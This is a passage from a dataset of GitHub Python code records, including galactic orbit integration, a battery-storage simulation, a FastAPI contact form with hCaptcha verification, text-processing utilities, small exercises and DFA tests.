gi\nimport gala.potential as gp\nfrom gala.units import galactic\nfrom tqdm import tqdm, trange\nfrom joblib import Parallel, delayed\nimport multiprocessing\n\nk = 4.7404705\npotential = gp.MilkyWayPotential()\n\ndef _integrate(w, ids=None, dt=1, n_steps=500):\n orbit = potential.integrate_orbit(w, dt=-dt*u.Myr, n_steps=n_steps, Integrator=gi.DOPRI853Integrator)\n forbit = potential.integrate_orbit(w, dt=dt*u.Myr, n_steps=n_steps, Integrator=gi.DOPRI853Integrator)\n for n, orb in enumerate([orbit, forbit]):\n time = orb.t.value\n x = orb.x.value\n y = orb.y.value\n z = orb.z.value\n vx = orb.v_x.to(u.km/u.s).value\n vy = orb.v_y.to(u.km/u.s).value\n vz = orb.v_z.to(u.km/u.s).value\n E = orb.energy().to(u.km**2/u.s**2).value\n L = orb.angular_momentum()\n Lx, Ly, Lz = L[0], L[1], L[2]\n Lx = Lx.to(u.kpc*u.km/u.s).value\n Ly = Ly.to(u.kpc*u.km/u.s).value\n Lz = Lz.to(u.kpc*u.km/u.s).value\n ecc = np.repeat(orb.eccentricity(), len(x))\n ID = np.repeat(ids, len(x))\n _orb = orb.to_coord_frame(coord.ICRS)\n _ra = _orb.ra.value\n _dec = _orb.dec.value\n _pmra = _orb.pm_ra_cosdec.value\n _pmdec = _orb.pm_dec.value\n _Vlos = _orb.radial_velocity.value\n _hdist = _orb.distance.value\n out = np.array([time, x, y, z, vx, vy, vz, _ra, _dec, _pmra, _pmdec, _Vlos, _hdist, ecc, E, Lz, ID]).T\n try:\n OUT = np.r_[out[::-1], OUT]\n except:\n OUT = out\n return OUT\n\ndef sample_orbits(df, id_column='Cluster', cols=['RA', 'DEC', 'Rsun', 'ERsun',\n 'pmra', 'e_pmra', 'pmdec',\n 'e_pmdec', 'RV', 'ERV'], dt=1,\n n_steps=500, num_cores=32, nsamp=100):\n \"\"\"\n dt: time step for output in Myr\n n_steps: number of steps\n num_cores: number of cores to use in parallel\n\n Returns: vaex DF\n\n \"\"\"\n\n cname = np.repeat(df[id_column].values, nsamp)\n ra = np.repeat(df[cols[0]].values, nsamp)\n dec = np.repeat(df[cols[1]].values, nsamp)\n pmra = np.random.normal(df[cols[4]].values, df[cols[5]].values, (nsamp, len(df))).T.flatten()\n pmdec = np.random.normal(df[cols[6]].values, df[cols[7]].values, (nsamp, len(df))).T.flatten()\n vlos = np.random.normal(df[cols[8]].values, df[cols[9]].values, (nsamp, len(df))).T.flatten()\n dist = np.random.normal(df[cols[2]].values, df[cols[3]].values, (nsamp, len(df))).T.flatten()\n\n cooE = coord.SkyCoord(ra=ra*u.deg,\n dec=dec*u.deg,\n distance=dist*u.kpc,\n radial_velocity=vlos*u.km/u.s,\n pm_ra_cosdec=pmra*u.mas/u.yr,\n pm_dec=pmdec*u.mas/u.yr)\n\n samples = vaex.from_arrays(ra=ra, dec=dec, pmra=pmra, pmdec=pmdec, vlos=vlos, distance=dist)\n\n ## If running a lot (>1e6) orbits, running the velocities inside vaex may be better.\n #df.add_variable('vlsr',232.8); vlsr = 232.8\n #df.add_variable('R0',8.20) ; R0 = 8.2\n #df.add_variable('_U',11.1) ; _U = 11.1\n #df.add_variable('_V',12.24) ; _V = 12.24\n #df.add_variable('_W',7.25) ; _W = 7.25\n\n cooG = cooE.transform_to(coord.Galactic)\n cooGc = cooE.transform_to(coord.Galactocentric(galcen_distance=8.2*u.kpc,\n galcen_v_sun=coord.CartesianDifferential((11.1,\n 232.8+12.24,\n 7.25)*u.km/u.s)))\n w0 = gd.PhaseSpacePosition(cooGc.data)\n \n ## This uses a LOT of memory\n results = Parallel(n_jobs=num_cores)(delayed(_integrate)(i, ids=cname[n], dt=dt, n_steps=n_steps) for n,i in tqdm(enumerate(w0)))\n all = np.vstack(results)\n odf = vaex.from_arrays(ID = all[:,16].astype(np.str),\n time=all[:,0].astype(np.float32),\n x=all[:,1].astype(np.float32),\n y=all[:,2].astype(np.float32),\n z=all[:,3].astype(np.float32),\n vx=all[:,4].astype(np.float32),\n vy=all[:,5].astype(np.float32),\n vz=all[:,6].astype(np.float32),\n ra=all[:,7].astype(np.float32),\n dec=all[:,8].astype(np.float32),\n pmra=all[:,9].astype(np.float32),\n pmdec=all[:,10].astype(np.float32),\n Vlos=all[:,11].astype(np.float32),\n dist = all[:,12].astype(np.float32),\n ecc = all[:,13].astype(np.float32),\n E = all[:,14].astype(np.float32),\n Lz = all[:,15].astype(np.float32),\n )\n return (odf, samples)\n","repo_name":"balbinot/GCorbits","sub_path":"orbit_util.py","file_name":"orbit_util.py","file_ext":"py","file_size_in_byte":5188,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"9"} +{"seq_id":"7812547908","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nGOAL: Analysis of the combined renewables data to determine\nenergy storage requirements\n\"\"\"\n\n\nimport pandas as pd\nfrom os import chdir\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport matplotlib.dates as mdates\n\n\nchdir('/Users/amanapat/Documents/hybrid_systems/')\n\n\ndef load_data():\n \"\"\"\n Loads the time series data and formates it as needed\n \"\"\"\n renew_mix = pd.read_csv('final_data/nrg_mix_2016-18.csv')\n renew_mix['time'] = pd.to_datetime(renew_mix['time'])\n renew_mix.set_index('time', inplace=True)\n \n return renew_mix\n\n\ndef simulate_battery(renew_mix, max_storage=565, num_batt=3, start=0):\n \"\"\"\n Iterates along the renew mix array, trying to store\n and use energy as needed, to see if a net positive is possible\n \n May try to incorporate a \"spin up\" period where the battery\n starts at a set power level first, or intentionally start\n during the summer\n \n Battery units in MJ\n \n Max storage units in MWH, reworked into MJ\n \"\"\"\n renew_mix['battery'] = 0\n # starting energy\n time_delta = 3600 # seconds\n max_storage = num_batt * max_storage * time_delta\n renew_mix.battery[0] = start * time_delta\n size = len(renew_mix)\n \n for n in range(1, size):\n # must multiply by negative since energy diff represents\n # underproduction\n energy_delta = -1 * renew_mix['nrg_diff'][n] * time_delta\n new_battery = renew_mix['battery'][n - 1] + energy_delta\n \n if new_battery < 0:\n # Fully drained battery \n renew_mix.battery[n] = 0\n elif new_battery > max_storage:\n # Can't fill battery past maximum\n renew_mix.battery[n] = max_storage\n else:\n renew_mix.battery[n] = new_battery\n \n return renew_mix\n\n\ndef needed_cap_game(renew_mix):\n \"\"\"\n Uses bisection to find required storage to ensure power\n doesn't go to zero\n \"\"\"\n fail_meet = True\n min_bat = 565\n max_bat = 10_000_000_000\n old_bat = max_bat\n n = 0\n while fail_meet:\n curr_bat = (min_bat + max_bat) / 2\n renew_mix = simulate_battery(renew_mix, max_storage=curr_bat,\n num_batt=1, start=curr_bat)\n \n if renew_mix.battery.isin([0]).any():\n n += 1\n min_bat = curr_bat\n old_bat = curr_bat\n elif n > 100 or np.isclose(old_bat, curr_bat, atol=0.1):\n fail_meet = False\n else:\n n += 1\n max_bat = curr_bat\n old_bat = curr_bat\n\n return curr_bat\n\n\ndef moving_average(array, time, n=96, name='nrg_diff'):\n \"\"\"\n Takes the moving average for the last n points and returns a df \n with the new time and data arrays\n \n Pls n only divisible by the length of the array\n \"\"\"\n start = time[0]\n end = time[-1]\n \n num = int(len(array) / n)\n out_arr = np.zeros(num)\n \n for k, m in enumerate(range(0, num * n, n)):\n out_arr[k] = np.mean(array[m:m + n])\n \n new_time = np.arange(start, end, np.timedelta64(n, 'h'))\n\n return pd.DataFrame({'time': new_time, name: out_arr}).set_index('time')\n\n\ndef plot_battery(renew_mix, batt, base=''):\n \"\"\"\n Plots the time series of the battery capacity and of the power flux into\n the same, taking a rolling average to smooth the data\n \"\"\"\n smooth_mix = moving_average(renew_mix['battery'], renew_mix.index, n=96,\n name='battery')\n smooth_nrg = moving_average(-renew_mix['nrg_diff'], renew_mix.index, n=192)\n \n fig, (ax1, ax2) = plt.subplots(nrows=2, ncols=1, sharex=True)\n ax1.plot(smooth_mix.index, 100 * smooth_mix['battery'] / 3600 / batt)\n if base:\n ax1.set_title(f'Simulated Energy for {batt / 1000:.1f} GWh battery' +\n f' with {base:.1f} MW base load')\n else:\n ax1.set_title(f'Simulated Energy for {batt / 1000:.2f} GWh battery')\n ax1.set_ylabel('Battery Capacity (%)')\n ax1.grid()\n ax2.grid()\n ax2.set_xlabel('Year')\n ax2.set_ylabel('Power (MW)')\n ax2.xaxis.set_major_formatter(mdates.ConciseDateFormatter(\n ax2.xaxis.get_major_locator()))\n ax2.plot(smooth_nrg.index, smooth_nrg.nrg_diff)\n\n\ndef simulate_load(renew_mix, batt, load):\n \"\"\"\n Simulates the impact of base load on a given battery capacity\n \n load in MW batt in MWH\n \"\"\"\n renew_mix.battery[0] = batt\n # starting energy\n time_delta = 3600 # seconds\n load *= time_delta # Get this into MJ from MW\n batt *= time_delta # Get this into MJ from MWH\n size = len(renew_mix)\n \n for n in range(1, size):\n # must multiply by negative since energy diff represents\n # underproduction\n energy_delta = -1 * renew_mix['nrg_diff'][n] * time_delta\n new_battery = renew_mix['battery'][n - 1] + energy_delta + load\n \n if new_battery < 0:\n # Sufficient base load to prevent draining\n renew_mix.battery[n] = 0\n elif new_battery > batt:\n # Can't fill battery past maximum\n renew_mix.battery[n] = batt\n else:\n renew_mix.battery[n] = new_battery\n \n return renew_mix\n \n\ndef needed_base_game(renew_mix, batt):\n \"\"\"\n Uses bisection to find the required base load such that\n the battery doesn't go to zero\n \"\"\"\n # Bounds on power, in MW\n min_load = 0\n max_load = 1000\n # Initial conditions\n old_load = min_load\n fail_needs = True\n n = 0\n \n while fail_needs:\n curr_load = (min_load + max_load) / 2\n \n renew_mix = simulate_load(renew_mix, batt, curr_load)\n \n if renew_mix.battery.isin([0]).any():\n n += 1\n min_load = curr_load\n old_load = curr_load\n elif n > 100 or np.isclose(old_load, curr_load, atol=0.1):\n fail_needs = False\n else:\n n += 1\n max_load = curr_load\n old_load = curr_load\n\n return curr_load\n\n\ndef main():\n renew_mix = load_data()\n \n # Assuming the current battery farm\n renew_mix = simulate_battery(renew_mix, max_storage=565,\n num_batt=5, start=565)\n plot_battery(renew_mix, 565)\n \n # Let's do a series of trials to determine the minimum necessary storage\n # requirements to achieve full renewables\n batt = needed_cap_game(renew_mix)\n \n renew_mix = simulate_battery(renew_mix, max_storage=batt,\n num_batt=1, start=batt)\n plot_battery(renew_mix, batt)\n \n # Let's now assess that energy storage requirement given some\n # variable base load\n load = needed_base_game(renew_mix, 565 * 10)\n \n renew_mix = simulate_load(renew_mix, batt=565 * 10,\n load=load)\n plot_battery(renew_mix, 565 * 10, load)\n \n # Yikes, that's less than ideal. What if we specify the load and\n # Assess the actual power outages\n load = 200 # MW\n batt = 565 * 5 # MWh\n \n renew_mix = simulate_load(renew_mix, batt, load)\n plot_battery(renew_mix, batt, load)\n print('\\n\\n\\nPower needs met ' +\n f'{100 * len(renew_mix.query(\"battery > 0.0\")) / len(renew_mix):.2f}' +\n '% of the time')\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"manapaap/hybrid_systems","sub_path":"aakash/battery.py","file_name":"battery.py","file_ext":"py","file_size_in_byte":7352,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"9"} +{"seq_id":"70936953573","text":"import json\nimport logging\nimport os\n\nimport requests\nfrom fastapi import FastAPI, Form, HTTPException\nfrom fastapi_versioning import VersionedFastAPI, version\n\nlogger = logging.getLogger(\"uvicorn\")\n\napp = FastAPI(\n title=\"Ver Artis API\",\n openapi_url=None,\n docs_url=None,\n redoc_url=None,\n)\n\n\n@app.get(\"/\")\n@version(1)\ndef read_root():\n return {\"application\": \"Ver Artis API\"}\n\n\n@app.post(\"/contactform\")\n@version(1)\ndef send_contact_form(\n first_name: str = Form(),\n last_name: str = Form(),\n email_address: str = Form(),\n message: str = Form(),\n hcaptcha_response: str = Form(alias=\"h-captcha-response\"),\n origin: str = Form(alias=\"_origin\"),\n next_on_success: str = Form(alias=\"_next_on_success\"),\n next_on_failure: str = Form(alias=\"_next_on_failure\"),\n):\n # Prepare POST request to verify hCaptcha response with the API endpoint\n hcaptcha_url = \"https://hcaptcha.com/siteverify\"\n hcaptcha_data = {\n \"response\": hcaptcha_response,\n \"secret\": os.getenv(\"HCAPTCHA_SECRET_KEY\"),\n \"sitekey\": os.getenv(\"HCAPTCHA_SITEKEY\"),\n }\n hcaptcha_headers = {\n \"Content-Type\": \"application/x-www-form-urlencoded\",\n }\n\n # Prepare POST request to submit form\n formsubmit_url = \"https://formsubmit.co/ajax/{}\".format(\n os.getenv(\"FORMSUBMIT_STRING\")\n )\n formsubmit_data = {\n \"first_name\": first_name,\n \"last_name\": last_name,\n \"email_address\": email_address,\n \"message\": message,\n \"_template\": \"box\",\n \"_captcha\": \"false\",\n }\n formsubmit_headers = {\n \"Content-Type\": \"application/json\",\n \"Accept\": \"application/json\",\n \"Origin\": origin,\n \"Referer\": origin,\n }\n\n # Submit POST request to hCaptcha API endpoint\n response = requests.post(hcaptcha_url, data=hcaptcha_data, headers=hcaptcha_headers)\n hcaptcha_verification_response_json = response.json()\n\n # If hCaptcha is valid, actually submit form\n if hcaptcha_verification_response_json[\"success\"]:\n response = requests.post(\n formsubmit_url, data=json.dumps(formsubmit_data), headers=formsubmit_headers\n )\n form_submission_response_json = response.json()\n logger.info(\"Form submission posted\")\n logger.info(form_submission_response_json)\n location = next_on_success\n else:\n logger.error(\"hCaptcha verification failure\")\n logger.error(hcaptcha_verification_response_json)\n location = next_on_failure\n\n # Return a 302 error to redirect client to specified location\n raise HTTPException(status_code=302, detail=\"Found\", headers={\"Location\": location})\n\n\napp = VersionedFastAPI(app, version_format=\"{major}\", prefix_format=\"/v{major}\")\n","repo_name":"cdelledonne/api.verartis.com","sub_path":"app/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2751,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"9"} +{"seq_id":"5726407179","text":"import importlib\nimport os\nimport os.path as osp\nimport re\nimport sys\nimport typing as tp\nfrom typing import Union, List, Tuple, Dict, Sequence, Iterable, TypeVar, Any\nfrom urllib.request import urlretrieve\n\nimport numpy as np\nimport sklearn as sk\n# from bk_ds_libs.bk_data_sets import DataSetNietzsche\n# from sklearn.model_selection import train_test_split\nimport pandas as pd\n#\nfrom tqdm import tqdm\n\nimport torch\nimport torch.nn as nn\nfrom torch.autograd import Variable\nimport torch.utils.data as data\nimport torch.optim\n\nfrom bk_ds_libs import bk_utils_ds as utd\nimport bk_paths\nfrom bk_general_libs import bk_itertools, bk_typing as tp_bk\nfrom bk_general_libs import bk_decorators\nimport bk_general_libs.bk_typing as tp_bk\n\npd.options.display.max_rows = 50\npd.options.display.max_columns = 10\npd.options.display.max_columns = 50\npd.options.display.max_columns = 20\n\nT = TypeVar('T')\n\n\ndef extract_x_ngram_and_y_iterator(idxs: Iterable[T], *, num_x_elements: int) -> Iterable[Tuple[Tuple[T, ...], T]]:\n xy: Iterable[Tuple[T, ...]] = bk_itertools.ngrams(idxs, n=num_x_elements+1)\n for xyi in xy:\n x = xyi[:num_x_elements]\n y = xyi[num_x_elements]\n assert len(xyi) == num_x_elements + 1; assert y == xyi[-1]; assert x + (y, ) == xyi; assert len(x) == num_x_elements\n yield x, y\n\n\ndef extract_x_ngrams_and_y_iterators(idxs: Iterable[T], *, num_x_elements: int) -> Tuple[Iterable[Tuple[T]], Iterable[T]]:\n xy_iter = extract_x_ngram_and_y_iterator(idxs, num_x_elements=num_x_elements)\n x, y = zip(*xy_iter)\n return x, y\n\n\ndef extract_x_ngrams_and_y_as_numpy(idxs: Iterable, *, num_x_elements: int) -> Tuple[np.ndarray, np.ndarray]:\n x, y = extract_x_ngrams_and_y_iterators(idxs, num_x_elements=num_x_elements)\n x = np.array(x)\n y = np.array(y)\n return x, y\n\n\ndef TEST_extract_ngrams_and_y_fcns():\n x, y = extract_x_ngrams_and_y_iterators(range(5), num_x_elements=3)\n lx, ly = list(x), list(y)\n lx, ly\n assert list(y) == [3, 4]\n assert list(x) == [(0, 1, 2), (1, 2, 3)]\n x, y = extract_x_ngrams_and_y_as_numpy(range(5), num_x_elements=3)\n assert (x == np.array([(0, 1, 2), (1, 2, 3)])).all()\n assert (y == np.array([3, 4])).all()\n# if __name__ == '__main__':\n# TEST_extract_ngrams_and_y_fcns()\n\nclass TextData:\n def __init__(self, text: str, *, x_bigram_size: int, shorten_text_to_len: int = None) -> None:\n \"\"\"\n\n # pylint: disable=unused-argument\n 0 is left free\n :param text:\n :param x_bigram_size:\n :param shorten_text_to_len: Truncate 'text' length at shorten_text_to_len - after the character <==> integer mappings have been created\n \"\"\"\n super().__init__()\n\n if shorten_text_to_len is not None:\n text = text[:shorten_text_to_len]\n self.text: str = text\n self.x_bigram_size: int = x_bigram_size\n\n self.chars_2_idxs: Dict[str, int]\n self.idxs_2_chars: Dict[int, str]\n self.idxs: Sequence[int] # Each character in the text, mapped to an integer\n self.vocab_size: int\n\n self.x: np.ndarray\n self.y: np.ndarray\n\n self._setup_char_int_mappings()\n self.idxs = self.convert_chars_to_idxs(self.text)\n self.x, self.y = extract_x_ngrams_and_y_as_numpy(self.idxs, num_x_elements=self.x_bigram_size)\n\n def _setup_char_int_mappings(self) -> None:\n chars = sorted(list(set(self.text)))\n self.vocab_size = len(chars) + 1\n chars.insert(0, \"\\0\") # __c What we'll map everything that doesn't have a good place to!\n self.chars_2_idxs = dict((c, i) for i, c in enumerate(chars))\n self.idxs_2_chars = dict((i, c) for c, i in self.chars_2_idxs.items())\n\n def convert_chars_to_idxs(self, chars: Iterable[str]) -> List[int]:\n \"\"\"Converts an iterable of characters (possibly just a string) to the corresponding list of index integers\n\n :param chars: An iterable of characters (possibly just a string)\n :return:\n \"\"\"\n res = []\n for char in chars:\n assert len(char) == 1\n res.append(self.chars_2_idxs[char])\n return res\n # return [self.chars_2_idxs[c] for c in chars]\n def convert_str_to_idxs(self, s: str) -> List[int]: return self.convert_chars_to_idxs(s)\n def convert_char_to_idx(self, char: str) -> int:\n idxs = self.convert_chars_to_idxs(char)\n assert len(idxs) == 1\n return idxs[0]\n\n def convert_idxs_to_chars(self, idxs: tp_bk.SelfIterable_Recursive[int]) -> tp_bk.SelfList_Recursive[str]:\n if isinstance(idxs, Iterable):\n return [self.convert_idxs_to_chars(idx) for idx in idxs]\n try:\n return self.idxs_2_chars[idxs]\n except KeyError:\n return f\"[[NF:{idxs}]]\"\n\n # res = []\n # for idx in idxs:\n # res.append(self.convert_idxs_to_chars(idx))\n # if not isinstance(idx, int):\n # res.append(self.convert_idxs_to_chars(idx))\n # else:\n # res.append(self.idxs_2_chars[idx])\n # return res\n def convert_idxs_to_str(self, idxs: tp_bk.SelfIterable[int]) -> str:\n chars = tp.cast(List[str], self.convert_idxs_to_chars(idxs))\n return ''.join(chars)\n def convert_idx_to_char(self, idx: int) -> str: return self.convert_idxs_to_str([idx])[0]\n\n def __repr__(self) -> str:\n # s = super().__repr__()\n from bk_general_libs import bk_strings\n\n header = \"\\n\" + self.__class__.__name__\n\n import tabulate\n vals = tabulate.tabulate([\n [\"text:\", f'\"{bk_strings.get_1_line_iterable_representation(self.text, items_at_start_and_end=30, items_sep=\"\")}\"'],\n # [\"text:\", f'\"{self.text[:100]}\"'],\n [\"x_bigram_size:\", self.x_bigram_size],\n [\"vocab_size:\", self.vocab_size],\n [\"chars_2_idxs\", bk_strings.get_1_line_dict_representation(self.chars_2_idxs)],\n [\"idxs_2_chars\", bk_strings.get_1_line_dict_representation(self.idxs_2_chars)],\n [\"idxs\", bk_strings.get_1_line_iterable_representation(self.idxs, items_at_start_and_end=7, items_sep=\", \")],\n [\"x[:5]\", self.x[:5]],\n [\"y[:5]\", self.y[:5]]\n ])\n\n # print(vals)\n import textwrap\n res = header + textwrap.indent(f\"\\n{vals}\", \" \")\n # print(res)\n return res\n\n # @staticmethod\n # def from_Nietzsche(x_bigram_size: int, shorten_text_to_len: int = None):\n\n @staticmethod\n def TEST_TextData():\n s = \"abcaba\"\n text_data = TextData(s, x_bigram_size=3)\n print(f\"\\ntext_data is [[{text_data}]]\")\n assert text_data.convert_idxs_to_str([1, 2, 2, 1]) == 'abba'\n assert text_data.convert_idx_to_char(3) == 'c'\n assert text_data.convert_idxs_to_chars([3, 1, [2, 1]]) == ['c', 'a', ['b', 'a']]\n assert text_data.convert_chars_to_idxs('cabba') == [3, 1, 2, 2, 1]\n assert text_data.convert_char_to_idx('b') == 2\n\n # todo Implement with some dummy data\n s = \"This is some text to process. 2nd time: This is some text to process. 3rd time: This is some text to process.\"\n text_data = TextData(s, x_bigram_size=3)\n print(text_data)\n print(f\"PC:KEYqMoW: TEST_TextData PASSED\")\n\n return # __c This takes a while - just for looking at in IPython\n # todo Use NietszcheData\n # s = DataSetNietzsche.get_raw()\n # text_data = TextData(s, x_bigram_size=3)\n # print(f\"\\ntext_data is [[{text_data}]]\")\n # text_data\nif __name__ == '__main__':\n TextData.TEST_TextData()\n\n\nclass BColzWrapper:\n \"\"\"Functions for saving/loading arrays to bcolz format\"\"\"\n @staticmethod\n def save_array(rootdir_name: str, arr: np.ndarray):\n \"\"\"Save array to bcolz format\"\"\"\n import bcolz\n # print(f\"dirname is {dirname}, \\n arr is {arr}\")\n arr = bcolz.carray(arr, rootdir=rootdir_name, mode='w')\n arr.flush()\n\n @staticmethod\n def load_array(dirname: str):\n \"\"\"Load array from bcolz format\"\"\"\n import bcolz\n arr = bcolz.open(rootdir=dirname, mode='r')\n return arr[:] # convert back to numpy array\n\n\ndef onehot_encode_1d_array(array_1d: np.ndarray, sparse=False):\n \"\"\"one-hot encodes a 1-dimensional array\n\n :param array_1d: A 1 dimensional array to one-hot encode\n :param sparse: Whether to return a sparse array.\n :return: a 2-dimensional one-hot encoding of array_1d\n \"\"\"\n from sklearn.preprocessing import OneHotEncoder\n ohe = OneHotEncoder(sparse=sparse)\n return ohe.fit_transform(array_1d.reshape((-1, 1)))\n\n\ndef add_datepart(df, fldname, drop=True):\n \"\"\"add_datepart converts a column of df from a datetime64 to many columns containing\n the information from the date. This applies changes inplace.\n\n COPIED FROM FAST.AI LIBRARY\n\n Parameters:\n -----------\n df: A pandas data frame. df gain several new columns.\n fldname: A string that is the name of the date column you wish to expand.\n If it is not a datetime64 series, it will be converted to one with pd.to_datetime.\n drop: If true then the original date column will be removed.\n\n Examples:\n ---------\n\n >>> df = pd.DataFrame({ 'A' : pd.to_datetime(['3/11/2000', '3/12/2000', '3/13/2000'], infer_datetime_format=False) })\n >>> df\n\n A\n 0 2000-03-11\n 1 2000-03-12\n 2 2000-03-13\n\n >>> add_datepart(df, 'A')\n >>> df\n\n AYear AMonth AWeek ADay ADayofweek ADayofyear AIs_month_end AIs_month_start AIs_quarter_end AIs_quarter_start AIs_year_end AIs_year_start AElapsed\n 0 2000 3 10 11 5 71 False False False False False False 952732800\n 1 2000 3 10 12 6 72 False False False False False False 952819200\n 2 2000 3 11 13 0 73 False False False False False False 952905600\n \"\"\"\n fld = df[fldname]\n if not np.issubdtype(fld.dtype, np.datetime64):\n df[fldname] = fld = pd.to_datetime(fld, infer_datetime_format=True)\n targ_pre = re.sub('[Dd]ate$', '', fldname)\n # pylint: disable=invalid-name\n for n in ('Year', 'Month', 'Week', 'Day', 'Dayofweek', 'Dayofyear',\n 'Is_month_end', 'Is_month_start', 'Is_quarter_end', 'Is_quarter_start', 'Is_year_end', 'Is_year_start'):\n df[targ_pre+n] = getattr(fld.dt, n.lower())\n df[targ_pre+'Elapsed'] = fld.astype(np.int64) // 10**9\n if drop: df.drop(fldname, axis=1, inplace=True)","repo_name":"wbkdef/CodeSamples","sub_path":"bk_ds_libs/bk_data_processing.py","file_name":"bk_data_processing.py","file_ext":"py","file_size_in_byte":10713,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"9"} +{"seq_id":"22902301886","text":"import random\nfrom random import randint\n\nrandom.seed(the_seed_value)\n\ndef main():\n\n print(\"I'm thinking of a number between 1 and 100.\")\n print(\"Try to guess it!\")\n print()\n\n prompt = \"Please enter an integer between 1 and 100: \"\n answer = randint(1, 100)\n guess = -1\n tries = 0\n\n while guess != answer:\n # Get a guess from the user.\n guess = int(input(prompt))\n tries += 1\n\n # Compare the user's guess to the answer.\n if guess < answer:\n prompt = \"Higher: \"\n elif guess > answer:\n prompt = \"Lower: \"\n\n print()\n print(\"Congratulations. You guessed it!\")\n print(f\"It took you {tries} guesses.\")\n\nif __name__ == \"__main__\":\n main()","repo_name":"Lessleya/Lessleya.github.io","sub_path":"CSE241/Week02/myAssign01.py","file_name":"myAssign01.py","file_ext":"py","file_size_in_byte":730,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"9"} +{"seq_id":"41037883933","text":"#!/usr/bin/env python\n\n\n\"\"\"\nProblem Definition :\n\n\n\"\"\"\n\n__author__ = 'vivek'\n\nimport sys\n\n\ndef main():\n test_cases = open(sys.argv[1], 'r')\n\n for test in test_cases:\n\n data = test.split()\n x, y, n = int(data[0]), int(data[1]), int(data[2])\n\n output = ''\n\n for i in xrange(1, n+1):\n if i % x == 0 and i % y == 0:\n output += 'FB '\n elif i % x == 0:\n output += 'F '\n elif i % y == 0:\n output += 'B '\n else:\n output += (str(i) + ' ')\n\n print(output[:-1])\n\n test_cases.close()\n\n\nif __name__ == '__main__':\n main()","repo_name":"vivekpabani/CodeEval","sub_path":"easy/fizz buzz/fizz_buzz.py","file_name":"fizz_buzz.py","file_ext":"py","file_size_in_byte":659,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"9"} +{"seq_id":"929986536","text":"from model import DFA, NFA\nfrom cfLang import ContextFreeGrammar\n\n\ndef test_minimization_alives():\n states = [\"S\", \"A\", \"B\"]\n alphabet = [\"a\", \"b\"]\n final_states = [\"B\"]\n transitions = {\n \"S\": {\"a\": \"A\", \"b\": \"S\"},\n \"A\": {\"a\": \"S\", \"b\": \"A\"},\n \"B\": {\"a\": \"A\", \"b\": \"B\"},\n }\n\n init_state = \"S\"\n dfa = DFA(states, alphabet, init_state, final_states, transitions)\n dfa.discard_dead()\n if set(dfa.states) == {\"B\"}:\n print(\"Alive yay!!! 1\")\n\n transitions = {\n \"S\": {\"a\": \"B\", \"b\": \"S\"},\n \"A\": {\"a\": \"A\", \"b\": \"A\"},\n \"B\": {\"a\": \"A\", \"b\": \"B\"},\n }\n dfa = DFA(states, alphabet, init_state, final_states, transitions)\n dfa.discard_dead()\n if set(dfa.states) == {\"S\", \"B\"}:\n print(\"Alive yay!!! 2\")\n\n\ndef test_minimization_reachables():\n states = [\"S\", \"A\", \"B\"]\n alphabet = [\"a\", \"b\"]\n final_states = [\"A\", \"B\"]\n transitions = {\n \"S\": {\"a\": \"A\", \"b\": \"S\"},\n \"A\": {\"a\": \"S\", \"b\": \"A\"},\n \"B\": {\"a\": \"A\", \"b\": \"B\"},\n }\n\n init_state = \"S\"\n dfa = DFA(states, alphabet, init_state, final_states, transitions)\n dfa.discard_unreachable()\n print(dfa.states)\n if set(dfa.states) == {\"S\", \"A\"}:\n print(\"Reachable yay!!! 1\")\n\n\ndef test_group_equivalent():\n states = [\"S\", \"A\", \"B\", \"C\"]\n alphabet = [\"a\", \"b\"]\n final_states = [\"A\", \"B\"]\n transitions = {\n \"S\": {\"a\": \"A\", \"b\": \"S\"},\n \"A\": {\"a\": \"A\", \"b\": \"B\"},\n \"B\": {\"a\": \"A\", \"b\": \"B\"},\n \"C\": {\"a\": \"A\", \"b\": \"S\"},\n }\n\n init_state = \"S\"\n dfa = DFA(states, alphabet, init_state, final_states, transitions)\n dfa.group_equivalent()\n print(dfa.states)\n if set(dfa.states) == {\"S\", \"A\"}:\n print(\"Group yay!!! 1\")\n\n\ndef test_minimization():\n print(\"\\nTest minimization:\")\n def test1():\n print(\"\\ntest1\")\n states = [\"A\", \"B\", \"C\", \"D\", \"E\", \"F\", \"G\", \"H\"]\n alphabet = [\"0\", \"1\"]\n final_states = [\"A\", \"D\", \"G\"]\n transitions = {\n \"A\": {\"0\": \"G\", \"1\": \"B\"},\n \"B\": {\"0\": \"F\", \"1\": \"E\"},\n \"C\": {\"0\": \"C\", \"1\": \"G\"},\n \"D\": {\"0\": \"A\", \"1\": \"H\"},\n \"E\": {\"0\": \"E\", \"1\": \"A\"},\n \"F\": {\"0\": \"B\", \"1\": \"C\"},\n \"G\": {\"0\": \"G\", \"1\": \"F\"},\n \"H\": {\"0\": \"H\", \"1\": \"D\"},\n }\n\n init_state = \"A\"\n dfa = DFA(states, alphabet, init_state, final_states, transitions)\n dfa.minimize()\n print(dfa.states)\n\n def test2():\n print('\\ntest2')\n states = [\"q0\", \"q1\", \"q2\", \"q3\", \"q4\"]\n alphabet = [\"a\", \"b\"]\n final_states = [\"q1\", \"q2\", \"q3\"]\n transitions = {\n \"q0\": {\"a\": \"q4\", \"b\": \"q1\"},\n \"q1\": {\"a\": \"q2\", \"b\": \"q1\"},\n \"q2\": {\"a\": \"q3\", \"b\": \"q1\"},\n \"q3\": {\"a\": \"q3\", \"b\": \"q2\"},\n \"q4\": {\"a\": \"q3\", \"b\": \"q2\"},\n }\n\n init_state = \"q0\"\n dfa = DFA(states, alphabet, init_state, final_states, transitions)\n dfa.minimize()\n print(dfa.states)\n\n # test1()\n test2()\n\n\ndef test_determinization():\n states = [\"S\", \"A\", \"B\", \"C\", \"X\"]\n alphabet = [\"a\", \"b\"]\n final_states = [\"S\", \"X\"]\n transitions = {\n \"S\": {\"a\": [\"A\"], \"b\": [\"C\", \"X\"]},\n \"A\": {\"a\": [\"B\"], \"b\": [\"A\"]},\n \"B\": {\"a\": [\"C\", \"X\"], \"b\": [\"B\"]},\n \"C\": {\"a\": 